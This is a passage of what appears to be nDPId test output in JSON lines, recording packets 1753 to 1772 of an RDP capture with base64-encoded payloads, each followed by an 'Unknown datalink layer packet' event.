+00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1753,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718263,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjMEAAfwYlJcCoAo6sEAK5DT3NDkehNoH5vSCWUBj26nqHAAAWr74xTyy9st2jXTjT422xioJCSFCYt88SZizCGKE+LT6lnKu8Ggr7UuXzqsEidkRt5nLKxS74Z2R55H+hDELuljvawxRbwPhcrmnqJGTjYK+\/tID9WJ\/FIwrsbNbow4eQQE71gKNWth424iKMs7xIZaXYfAsxjzMs7qPHRbx1Nch5I+t1hC23L19jTpeSufSW37wlzWmfNINE9ZO3X39uM3j8ubwJWoLipHtDoYHphbNGuoPcPWRcadEls5qcXvUDxESqHf+Ize8yULvcJPGBF2manWh53PNAfZUmQ+hp2KBiMhXNSfiZfMUG7E24c9FPyiQEE3r8dsbmGtice5W7mQMdpXCDlCEdEWjOOr3MwHe16DEoQby8MXKVCHq+EW6dKdTd80FyltZ3hj2qP8o6WryXPUIwsim3Bq91\/zm8wAUR8ekk0sSkgYFflbtYZm4S3ogAAIimWLTpOUwsSY3VzEl1a\/bwy5RTCQ7AmvQW0sGKgj8gzFhleaGa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1753,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1754,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718296,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IUVHoTf8UBAf9Kj0AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1754,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1755,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718404,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjMUAAfwYhpsCoAo6sEAK5DT3NDkehN\/z5vSCWUBD26uWkAAAXAwMGbwAAAAAAAAI7Iyaqg7+ebYdCG7T8BwFwoCwFmK8XeLXv+\/D2LSMuYMcpQptb677hyD3vWPZOEsFOAFppArqmhkA9VgLjwErbcr0PO8UrNyqWKR8pAt0OPC8eXQx\/Rns33BEV60fBWLJRpVs4K1eH2gfFRFoVbWSRJGbC1MiUwzBgDp5ILvIvQixVNBxVTllNzXsXRErQmZ8OKJZYkf+\/yr4+RaItLPhpXf5TV1Cgaz7Ms6zHR+XnIjJuALrsn5Egueufp1mU+i8u+bQYzPVV+8JtZttbgVsjR59WjUATuJ4V+Vgzaoo00ft+bputspetanWuApxIfWiJqgtSLeUThmz0I5M\/TG4XLkPKyHAJg+IAhV3m+HE2IWd8DtmLi20Op9CPHLJkH1BdC5vzjZN\/xcWpvfUwUQsIn583LYFbsbbckYqEId53pYvO69PMCtalhOLmHxIjVQgPYf+owrfCurTU97qMYv\/9XT2GXZ4ggH5jCY3ZZdIvkSoECL4Yqfm4hhcgT8PewFe9OsT4\/eQjUtjeV18ZVU5E0+hz2Cf1Or+cF80ZG67fvtMqF8x5V3WITbXMLgApr23T27Nbw6wlf5kvV5T\/uKV9ScFQsq2FiRoz7Dl2KDLScfBs\/JY5tlTzxlgAS29g1FRTi0mI5WQwzoULcuNMSYZtmGBlQ1+8nvBj0Oq+2j\/Le7PE+Ssqe8OrE01HWN0AAtaXtmSrZOXN1\/bUsa094i3SXkAGfURGH78HccwLJiYzLeaxycq0uULC2GRBmkaEJ\/gvac8ltzTd3C2RrQ+Uk3QHmbr7e\/bamfTcEV44pBXMkb0vQYOjul3SrJoO868R0gaDAbMUk9pL\/hKgoPZolC3270AHzqw4\/vh3aeUMfhSJRKXoO04YfzEhZbF60LD6yJ7LiIoBhqAIJDERxJjbTXctw6PLoD8fCnHyQR+tapkejwjn8103+Skp\/Gt8luc0K6zrrn92daWhZD5\/xs5H8BmL9QUZ+DAfQmp5i\/Ole6QB5fl5\/O55wxzTQUZCqxN3sj8NEm8VybTq67LyfEA3X\/uCYloA5cJExbC3LtaG8oIygcwTIesF83tv+bdO\/Tx\/4+4GtASQ+xy2staFrlLcnGHR2qDYoUy2zK4wcdZUQfE52IqnQdfRS2+py8RDy1kZw0kptDLaVVJCvRZiuRi5Mpg87tSgmTkIcJhXGR1b7w2mAfVwwpJ1T6bSZl2eu9wcPOLBKYDWvQ4Aht+\/qz2zvTWtf29N5s6GZNgpOEmt6CMEhJh94IfYZBB8U5wipshETrrosyuv+gHjB24Mzt3OKO4nhoMdq4n9bKmq74HYEB7mlVlaWovRbdUvVUjo26BlD6esMxU7zmJBXpPP4xeSFpxe4DIk8AkGWLUrrysYKQnGr06Hrn54RZuDErzGcGP3Y4v2o5OyQQvGwBcYeScIuWMV0HeWmqXz9KYx2+JtjjnJskjiaDHK9K5CEwjfEnjJrnWvk0w7fY114Rxu7PXH3k7R\/LPbvDfCojUKZ4t2WrtRBDXOxMyv\/p+3ukYRBQsE3XowttjXQJ9oNTYTdj7uAcAaPFXxakE3pvol864lGD82f8ZAI436zfr3bmuSRnVUr0kDlHkNnUc3jJPlTP8fyjNg\/MCUiqqq9+q5uZjJOf52JczbdEToafgucrsYRPpEl3EMp6VrPOIJecoTJbem"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1755,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1756,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718437,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjMkAAfwYlI8CoAo6sEAK5DT3NDkehPPX5vSCWUBj26m68AAAnzsFKqnXCs+IR7w+L3x\/RGIh3nbbzuWNpU8ADHETcUwt0VvqPLiXSaQkpGxPfjpXHn2pi4+BpBbW8a5m6xhAlkLZDAdYgxRy0ttFGigZUEc4KUmu\/iv3iNJkvXRTAwV+t4jVnNPFHB35BOuk283bCvT6VCPyTtrVXZ75LtQ17IEwaSGkywhwYzU\/CA4A3nxaeg5l2r5KapSZC0Tbm\/iaDSMY9DxfEvCMM3csGeo7cqAu6IZcmgkgATTI2PRQ1Cku9h6d4pPH4X5fR4BeP74kaxJWPfz2kZTfuwChHUAAAWIjIlSsBYTv7VC7AsC1OKkHhMty9WL5jJHX0VPoeS+ZvgO1VQ0CHuU3IM7OIB55BW5Z+uIOW2PqB1vpkquYg35u9Fmub+xIa+Ime2jxQG3dIIBeHWr58eAVCgHJSQpiBqn4Iz3tSMVrHacTsLNQuTtddA14qwAqyMQpZ\/acajyPWJg7qUwmz0o9gVgSVP2qET+umG+G31MEgAf4b"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1756,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1757,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718466,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IUVHoT5wUBAf9KKAAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1757,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1758,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718566,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jM0AAfwYmaMCoAo6sEAK5DT3NDkehPnD5vSCWUBj26ieSAAAXAwMAMAAAAAAAAAI8XplyjZruDevV5ztRa9j+gTbVjl2KYGgyEb7OmQueoM7vMse67AqHBw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1758,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1759,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718603,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IUVHoT6lUBAf\/qJBAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1759,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02087{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1760,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718822,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjNEAAfwYho8CoAo6sEAK5DT3NDkehPqX5vSCWUBD26seBAAAXAwMGbwAAAAAAAAI9JOQJyzX8sfHJzGIbAA0Ucr2OEKCZBCyp\/dRjseYKh\/2zX6pVqzCw4fE6eN9roPQUwQMxGCqCRptXvgfiXJbya0o2EpbvJp3nYaiJ9xZLhsS+6izcK530hpqX\/l8b3Y9BI6X70WatSbag5ihaq9Bjv2GUZuO\/7XWXJBJlxRt0kI0ZbG6ZyaiIyC7ZfXnuDl95nCmKQr3xLzJqeHbAqqfdgT5L4EBwyNzccmK7OOsU7lu3bJsupmgg79US5KE78oINHjETqJ9pGfXS7JSL5PnO7hvNtiSy\/9v3bINy0Vqc1m2a\/u8JbO4vlM5+0X+4i\/3qypYjec+yrllp4fTthrBqgJzSnm+\/OGYhomo\/r2vX9nLO86bf6vvzaQ3YVtr\/LcLybXhyjNacZrJ5tElLr5UszMUzYvTCRaQhaD+tMTcK+QWfGr0oOW6zkzpDPVV3tjvioE\/K\/3wj8H4B42wdzKHb8eV\/CFPcCA6Dv1RPc79aaDZsuTzfUQ6+TDc30GfP8MaK5PpJSRSKxhrVIuJZ3bSUNCBHqaY0qZoteEnY\/F0WzCcE9\/dorY4\/uMiWH5thSw22kdJFSFGHHOWAozXp3K8ni\/uW6ytNrUTv+RzsI\/tGvl\/\/1up8o2nJEydWECZCUBPkMJjQJ6nZKh0RdB28ID0NW4tD+jZAWKn3OEzZ7NmfXWUmZLZR6Xs\/\/Dro0SaXPP1Yt8o9a4dgSpt4KY\/DMDt2g7VehNOF7BBmsdjWXSOwF+5M32W4jZGBJfARmQBexJ4Zz3Np01pj66aQcWt+ICdDsSfWw9phWxg8hrX3jPCGLIpNg2K\/HBAyynsAhpbOFKwnNVIHD6wqfH\/SNg0AmJVSM+ccfGB8uheHFHB37ymk0s5+4KX58CpDo+7L1Ii0CcAVgAFDfhT+fWQYTlac\/ZuPEAmD4075j09GWMVlxxPoerNn5xf5ozAMZk+47Svfw8tbEOEeoZeU4dIqiSPAF\/YX5gi6PhOxPiLzfU+nFikSzatg5hbjukgmZgot5\/vXO3AoyB3apDvJVGyn9\/TH6pceMj+BaNRmOSm23iOC4jPqOPLTtyVJK3bg49XLma87UsCvOaDsxOdk78LCjZb+Ym5zn9fAa6KRegDprxYqpq41R8zyk6Lg5cq9n2NMvuXZMcloFxEzsJZh4axb6lcc2xSejTsdM76oP3FSobTiWF\/5SNMIiwWqh+KBzXY+PWpyAm8JnSNIBfyNNEghogelbQH9Yvoq2FKeIVDCpC2XfrpgimSXtfw2C3ucSQn3TkpFmNrV0CyBd1G4dV8d98NJ98Irgl9XyYnyDrL1Ge0T+ZB9c7y1tUtVz\/3nnq5dpMMKkwLiwcMzlSL5M4waPB7kGrYleW8QFcK\/p9XoUmR1gV4DlkTYEoyvMjLCJqzT\/Qg3lEZTSqYymAzblMUeFa9n4M03ccPWRCJkUoEe18zb\/fC\/IgW2awHqPC3hwopBYvDfpXHCLeybEb9Og436uOWvMmXMVI+8\/N9RRbUEOwtGxQ1BmqOxAteg+r7AhOKKTIU1hDi7GsdLITE+pCSqA9QbKOv5SyLOIhVWaaFR9WD3BbrQLi6Md4uuchODuDobegs8SY9BQOq4LPOkJydcPU0q2NbnUWAtpW0NhgAJ9rJa4KewX9H9ixjA73bHI7s563Guc2zJ5TMIR99zSI+G3Ocu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1760,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1761,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718916,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9IUVHoUOeUBggALzDAAAXAwMAMOAIO32NJww39RGeljDU2mIVXQyBZvPo4s7okAuKCz0Ot2W5\/shGdQeFOqeG0G+rKw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1761,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1762,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718943,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjNUAAfwYlIMCoAo6sEAK5DT3NDkehQ575vSCWUBj26tELAACHNJKqpDFjbwOXyuavAhLvOuhmBy9+qNkO1uFjJnOy04xaSF7aPoGKOom\/acKKn58Pq4hEwd\/jx9IK9Tixd0OoTbOPXFvfaTk\/O\/gXhMSu\/UDJRovOhZYbP4sASvw1Fsm139KxPXfhK3FOWfmDpEvHOyt\/YfzDTN7HBM9JVYoxo9kQXpZ+4jE56S3pNRLJXms6oSxU0ivOBe3T03uiThCUUPN8B84qiolehT9QW21fWeoc2DQm9KPqgQ\/pIaK1ifuRKkDYMgB0p0sC9ObX1Z6a6T3sYASUITUSnh\/c6Ju54TOiQMQvq8crjVUGWQVxTcTdE6ePd4flHhUqeG7f5QD9Wyho0H13bSqhadAaw\/RRhCcJ7A8yGq4fRBvt66BDKfua1yPbDqArJkP0sglJRO6kYCRvIELu\/yf9PedytEFQLCb\/tnQ1Bbv\/XN62QpfaqQRuzjcVbOqedAEzJDj01YFD+LbbXX7XZcJsjRv7QjnouD7fmubtSvG6ae6b"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1762,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1763,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718970,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoUUZUBAf9JuiAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1763,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1764,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":719112,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjNkAAfwYhocCoAo6sEAK5DT3NDkehRRn5vSCWUBD26pR+AAAXAwMGbwAAAAAAAAI+BfEaggVV73FvUuiCa0a+PlbpfwIVrGvplXYRUWkCvhBVyvyIE2AG4NtFNQvtp2vVKt9zZALmMdXXwFQ+odxg364QOBRenxzOQ2GLNgtka+SHoFnAHoun7w6Go9jETvPkHiqQJ+l5wvEkZoHB3SImc16V72eKY+ZoyKCOk6akSV+577EDXU+pc6JmGWUbX8JOrMQWaFi41007jeqX+nqnUeUbZ85Za6t2Hjpo2HIwsYCYLVEhvupQtrPQApHzY02y\/ATdaEF\/VPm78\/Q2rIrT8UV+OWXKiBku5jaihjGq7W84x52VSIH206k8+CXQY1NGMIiz7ckRf9NawFbI2qAHY\/f\/EECxlsmNlCKtwOes38\/IvnBOt9RjvrJxMjv0py3PDzAvwefwPp7jFiOjRTyskUqNP7LQiaTyCq50wRlxUejY57XDIrYMIZg+lsmab3PbbW6nzkdbtZSZa9x1sNK6p4JEK\/1dyC96WErU56FP3w5zR4XMUsUfVG0Ghzx+L07ycjXKx38YHPhcxyJHgneNt94bFrbWSvYHzTjXudf+VKhFxbzbF96oAi7RyAN3a4b7i8OigA7poEGQkroe2+PkK2RkiZzaS5fsGQrCFGh9zfta\/OCKfiVS8UeXuVxKLnqF25NXKLfnIUSjFlQP+\/FGp77PQ7b52WkaKO0sNzzeujN9pHjuXlR+CwuPZBbmAF5vqPXzDL2oqsY14g38VEV8U03w12lXM1aR\/DekzodQKfeXoM2G2c5gF9IK\/3nIwVIxgVoh\/jbsjp4x7tqnmvWsHU\/+SUstc2cN+tRQYbn9jneKGwwdvnFXlUzmhF\/B5LoRnBzyt3GlRuptepzNZJ0zCCFVzGvjnYEaW5eviMbBiioHAgmyrCLTTr7U8mjptakUB4Rp4u+AeuDxhNMekCbnigdNlI83LMAaqjwOM3h0bVbqnUZQR9GRIioPHYuwYVOnZmBZEbbBI+MIP5td80iLzQwVXhsgVwgLaPnV7yJZtYcYbqnrrELK3OSZOx+KTtyEdbajuMu1sNBvwLGQ8WxCKlY4n\/5D1W7jw0yBvjrXAFA8XVhpFwO7dxRfe4CGAW\/JVzJWGDIyd5OhL7wX5rc3Qz4XZAJNyuWfLeKbD3sVhm7a9gQSRVoKMeXCfCJLWW1nI2LZfJFCH5BPTestmOSbj+PB7F0NPx9WjXwMWs374djdJ9tprLOdnju7AK1I2FXd2CaVGXQ30FoELLrUgmtYBj6SYdAj6N140e47P1xAsMof3R33t64HRvyetzBrZlNgqvyVoXNtTYzU7PXqut8c+b9G43KGCJJ+wEf\/Dl24SGJXURX+nhJMEizjUpaby1cUL5UT5EmWgKgPQxif6l9oTn0XRTqzyJJSTmsZKkgmG\/s9Uv1Qu1VJLlCUn\/ne62RuTemTB32nXZG64F5\/eBDrGje9ZS\/YF4iw1MeMNmbO2NJ\/py2eofneav7QI0IWTLllGEo1yJkRhsfqUo+4aNYO\/\/bvXDdBpdCSjctl6b8BNLk5bShaOvMYvSdxW6m04mQHT4yTzISXbZCsNAqaDWEJN2eMKW2U85GUfPCSpSialfWorgdAtwjl6yjkV0eagXexPR8+RUdWi+A\/U+SqlpZz5p1TZIG7s\/viDQkMKUZ+ls3SWn1CRRQyEHfembwGkno950y2qVUvAuClUMSu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1764,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1765,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":719349,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjN0AAfwYlHsCoAo6sEAK5DT3NDkehShL5vSCWUBj26sQpAABE\/BQBKVyEyRJbGOWdKEC4w9IYct0QOlB4jLrq+CU3gc0PHhjcoi8W0dCjwBX2a0sxHzB0GU+CtBt\/AvYXkM8OgD+LF+GIJ6qdTH+0pyz7v9RamiT2lLgEI\/6NJdlBvuwacjaklO5NGULuZNCihSgQveTjg1E5vfKR1j3+XdQtLCzH\/ihDSa6zPYPG1MUNK9rLsL11KShFwNP2sXvvi\/+m5lpNPRA1d9jrFF339CVBpx19mucbUv+cgmIuPDzpmCVZ3DuADrJ2u\/yT7IEbU3vXN+BqovubN4RhcHGiZU1APn1XYrkokTLYuDqZ9vH2dpj7TyJ8cvOQmgRO6JkQW8ANckCc0cg0Q7Rj4Mq6IozzzILRxurBRRjjs1x4n3fgu+YEGzaQ2N9MVNVmZezWN9otYC92l8ATKIDIG2UPvKotDnKLrHrjYgvWSnXtpl3\/qFiESqyfRhE1UpXldHv4OlOeb7HLQfFpCLkcs3Y0jmDJrk1jjwRO21M9I\/bQ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1765,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1766,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":719380,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoUuNUBAf9JUuAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1766,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01605{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1767,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727597,"pkt_caplen":964,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":964,"pkt_l4_len":0,"pkt":"AgAAAEUAA8BjOEAAfwYjAMCoAo6sEAK5DT3NDkehS435vSCWUBj26kqdAAAXAwMDkwAAAAAAAAI\/L6hnOzNI47Wn9VO9wZNT4AXIzDJbPIpWd\/cF5fvgW9LLeWDd5QGNuBq92ELp4BVFXXHABlmFFeAfKeloEyrBSMDo0eDCQFpAZiKshVEo770Sv0HZdhD6ZzXTN4FZqsVcuz2NQJ418AFwkR\/PfbM2Q9kUPeU50\/crVh6d1hF2n2Os7rNgcwXpObW05LJcCmexvTocpsQHhxttNDmgNDZ1oPUYbHcobie83JTfG7HGvoTONXpQpcUYbIcceirTfMhuuRVHZU+oa5Fuzh27g4dLVrAbe4Af4vG6\/+rCXOxf1ZD2NL81280jOElY7yypMPH4lgartr++hAADpgRKh7IWEHD8dUkufqDwKo\/edEbG4Q4VraRBPH68moywUHB5dLbEPKNSZk8UpXWnPMEmlxYw9Flh8EFAG12PIi3xAFazsPANtviropHAesfWJ4CUDdz6ivkru5S0Hj5wKLiDZjXbJD08MvpumI\/v8qzSMYPRRmvk5bBhAzN1u0SiqQzrgnhcrj21yZ2qMceqliDD+iIJ\/OFeXOyS0Rtluua\/o5eyU373jvKK\/+Zel4Np3oxeouHdA7f8sL2vpWoxXwIs8C6t2DmHbpBcaZzS2bsHJWNJW\/1SZXis9E7c9UzNr9G08+i00tyOmAcka6NdNk0\/nqzyhq2i7BQ8Wf7mKN+uIkdRMLicKnKZH0M\/tXTbkNhfKNvm4i0dKbJ99g4+K+bUS0gSdjyj+NJwPtq92PPC0FlHfCx+4yztOfrAsLpP7jpqgjovTGCGXEZp2WFq\/7iMUVds3OkX8XtoXjcj\/eYbqd+vrRotdEZTMjBYnTywhdbqklZs5a6s6xRYjpscBoVvSSA7Mw9w3lqZpuD6kyTG+37SYzx9glSlnry8fBdWVQ6p4TqiD33S0oHwDN7g7WaZn3mVY+R3BeoGA4543apM9dvmFoEVVfx8qYs6yLeiGtJoWucWsg16\/T24mTlch3vAiY7MgcWHG4Ee\/3mI12W7k88PhrvGIWOp4Nmf+JRzkg\/Cae3ePXVOYX0KrFoTsmMPj22l+cz+0pmGqtO\/vdHRV+6FrK6osZNldjcU\/kuXfeH4XD\/\/Y5TkOwRePkXR3\/jT5ujf27YypimZ6NJvZ2lmz1DkJsEfk8NQleUWZtnuQcC4tdige9o1HRe\/EUyKt4Mvn5AJDDCRUp32tFj10PIwANrPuaw0enoE7dMa+ln0cA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1767,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1768,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727630,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoU8lUBAf45GnAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1768,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1769,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727636,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdjOUAAfwYmWMCoAo6sEAK5DT3NDkehTyX5vSCWUBj26hgOAAAXAwMAOgAAAAAAAAJA3930oqE8LSNBpzg4gj4FIiUG7FWr1KOHA14PAYeMiiQxAwl7936M+\/IUJqgK6fvlIaE="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1769,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1770,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727715,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jOkAAfwYmYcCoAo6sEAK5DT3NDkehT2T5vSCWUBj26pW3AAAXAwMAMAAAAAAAAAJBSUaPAq+3o7\/5lq+y1Zlc0hB1xGMDSdAH9NWP3eMcFDyVzkhmuSqHjg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1770,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1771,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727738,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoU9kUBAf\/pFNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1771,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1772,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727871,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jO0AAfwYmYMCoAo6sEAK5DT3NDkehT5n5vSCWUBj26jlBAAAXAwMAMAAAAAAAAAJC4m5FTjmbEJJB6jglXapmcn8m1gqiLw8ihB\/S15L2BLOPGBTyJrcb+Q=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1772,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 